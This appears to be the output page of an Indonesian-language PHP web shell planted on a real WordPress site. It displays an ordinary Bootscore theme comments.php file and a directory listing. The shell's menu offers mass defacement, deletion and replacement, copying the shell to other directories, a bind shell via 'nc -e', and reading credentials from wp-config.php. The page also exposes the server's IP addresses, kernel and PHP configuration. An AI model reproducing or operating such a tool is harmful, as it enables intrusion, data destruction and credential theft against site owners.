WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / themes / bootscore / inc / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc/comments.php (5.27 KB)
<?php

/**
 * Comments
 *
 * @package Bootscore 
 * @version 6.3.1
 */


// Exit if accessed directly
defined('ABSPATH') || exit;


/**
 * Comment reply
 */
function bootscore_reply() {

  if (is_singular() && comments_open() && get_option('thread_comments')) {
    wp_enqueue_script('comment-reply');
  }
}

add_action('wp_enqueue_scripts', 'bootscore_reply');


/**
 * Comments
 */
if (!function_exists('bootscore_comment')) :
  /**
   * Template for comments and pingbacks.
   *
   * Used as a callback by wp_list_comments() for displaying the comments.
   */
  function bootscore_comment($comment, $args, $depth) {
    // $GLOBALS['comment'] = $comment;

    if ('pingback' == $comment->comment_type || 'trackback' == $comment->comment_type) : ?>

      <li id="comment-<?php comment_ID(); ?>" <?php comment_class('media alert alert-info'); ?>>
      <div class="comment-body">
        <?php _e('Pingback:', 'bootscore'); ?><?php comment_author_link(); ?><?php edit_comment_link(__('Edit', 'bootscore'), '<span class="edit-link">', '</span>'); ?>
      </div>

    <?php else : ?>

      <li id="comment-<?php comment_ID(); ?>" <?php comment_class(empty($args['has_children']) ? '' : 'parent'); ?>>

        <article id="div-comment-<?php comment_ID(); ?>" class="comment-body mb-4 d-flex">

          <div class="flex-shrink-0 me-3">
            <?php echo get_avatar($comment, 80, '', '', array('class' => esc_attr(apply_filters('bootscore/class/comment/avatar', 'img-thumbnail rounded-circle')))); ?> 
          </div>

          <div class="comment-content">
            <div class="card">
              <div class="card-body">

                <?php printf('<h3 class="h5">%s</h3>', get_comment_author_link()); ?>

                <p class="small comment-meta text-body-secondary">
                  <time datetime="<?php comment_time('c'); ?>">
                    <?php printf(_x('%1$s at %2$s', '1: date, 2: time', 'bootscore'), get_comment_date(), get_comment_time()); ?>
                  </time>
                  <?php edit_comment_link(__('Edit', 'bootscore'), '<span class="edit-link">', '</span>'); ?>
                </p>


                <?php if ('0' == $comment->comment_approved) : ?>
                  <p class="comment-awaiting-moderation alert alert-info"><?php _e('Your comment is awaiting moderation.', 'bootscore'); ?></p>
                <?php endif; ?>

                <?php comment_text(); ?>

                <?php comment_reply_link(
                  array_merge(
                    $args,
                    array(
                      'add_below' => 'div-comment',
                      'depth'     => $depth,
                      'max_depth' => $args['max_depth'],
                      'before'    => '<p class="reply comment-reply">',
                      'after'     => '</p>'
                    )
                  )
                ); ?>
              </div> <!-- card-body -->
            </div><!-- card -->
          </div><!-- .comment-content -->

        </article><!-- .comment-body -->
      </li><!-- #comment -->

    <?php
    endif;
  }
endif;


/**
 * h2 Reply Title
 */
add_filter('comment_form_defaults', 'custom_reply_title');
function custom_reply_title($defaults) {
  $defaults['title_reply_before'] = '<h2 id="reply-title" class="h4">';
  $defaults['title_reply_after']  = '</h2>';

  return $defaults;
}


/**
 * Comment Cookie Checkbox
 * See https://github.com/bootscore/bootscore/issues/921
 */
function bootscore_change_comment_form_cookies_consent($fields) {
  // Check if the "Show comments cookies opt-in checkbox" setting is enabled
  if (get_option('show_comments_cookies_opt_in')) {
    $commenter         = wp_get_current_commenter();
    $consent           = empty($commenter['comment_author_email']) ? '' : ' checked="checked"';
    $fields['cookies'] = '<p class="comment-form-cookies-consent form-check mb-3">' .
                         '<input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" class="form-check-input"' . $consent . ' />' .
                         '<label for="wp-comment-cookies-consent" class="form-check-label">' . esc_html__('Save my name, email, and website in this browser for the next time I comment.', 'bootscore') . '</label>' .
                         '</p>';
  } else {
    // Remove the 'cookies' field if the setting is disabled
    unset($fields['cookies']);
  }

  return $fields;
}
add_filter('comment_form_default_fields', 'bootscore_change_comment_form_cookies_consent');


/**
 * Open comment author link in new tab
 */
add_filter('get_comment_author_link', 'open_comment_author_link_in_new_window');
function open_comment_author_link_in_new_window($author_link) {
  return str_replace("<a", "<a target='_blank'", $author_link);
}


/**
 * Open links in comments in new tab
 */
if (!function_exists('bs_comment_links_in_new_tab')) :
  function bs_comment_links_in_new_tab($text) {
    return str_replace('<a', '<a target="_blank" rel=”nofollow”', $text);
  }

  add_filter('comment_text', 'bs_comment_links_in_new_tab');
endif;


/**
 * Comment Button
 */
if (!function_exists('bootscore_comment_button')) :
  function bootscore_comment_button($args) {
    $args['class_submit'] = 'btn btn-outline-primary'; // since WP 4.1

    return $args;
  }

  add_filter('comment_form_defaults', 'bootscore_comment_button');
endif;
namawaktuukuranownerpermaksi
..
blocks/ 2026-11-26 08:1919.5 KB 76129f60960:kundendxwrx-rx-r
scssphp/ 2026-11-26 08:19549.31 KB 76129f60960:kundendxwrx-rx-r
update/ 2026-11-26 08:19380.49 KB 76129f60960:kundendxwrx-rx-r
updater/ 2026-11-26 08:1925.44 KB 76129f60960:kundendxwrx-rx-r
breadcrumb.php 2026-11-26 08:196.2 KB 76129f60960:kunden-xw-x--x--
edt
columns.php 2026-11-26 08:19703 B 76129f60960:kunden-xw-x--x--
edt
comments.php 2026-11-26 08:195.27 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-11-26 08:19132 B 76129f60960:kunden-xw-x--x--
edt
enable-html.php 2026-11-26 08:19642 B 76129f60960:kunden-xw-x--x--
edt
enqueue.php 2026-11-26 08:193.59 KB 76129f60960:kunden-xw-x--x--
edt
excerpt.php 2026-11-26 08:19200 B 76129f60960:kunden-xw-x--x--
edt
fontawesome.php 2026-11-26 08:191.02 KB 76129f60960:kunden-xw-x--x--
edt
jetpack.php 2026-11-26 08:191.47 KB 76129f60960:kunden-xw-x--x--
edt
navmenu.php 2026-11-26 08:19681 B 76129f60960:kunden-xw-x--x--
edt
navwalker.php 2026-11-26 08:196.97 KB 76129f60960:kunden-xw-x--x--
edt
pagination.php 2026-11-26 08:193.01 KB 76129f60960:kunden-xw-x--x--
edt
password-protected-form.php 2026-11-26 08:19864 B 76129f60960:kunden-xw-x--x--
edt
scss-compiler.php 2026-11-26 08:197.26 KB 76129f60960:kunden-xw-x--x--
edt
template-functions.php 2026-11-26 08:191005 B 76129f60960:kunden-xw-x--x--
edt
template-tags.php 2026-11-26 08:198.87 KB 76129f60960:kunden-xw-x--x--
edt
theme-setup.php 2026-11-26 08:192.71 KB 76129f60960:kunden-xw-x--x--
edt
tinymce-editor.php 2026-11-26 08:19841 B 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-11-26 08:195.97 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK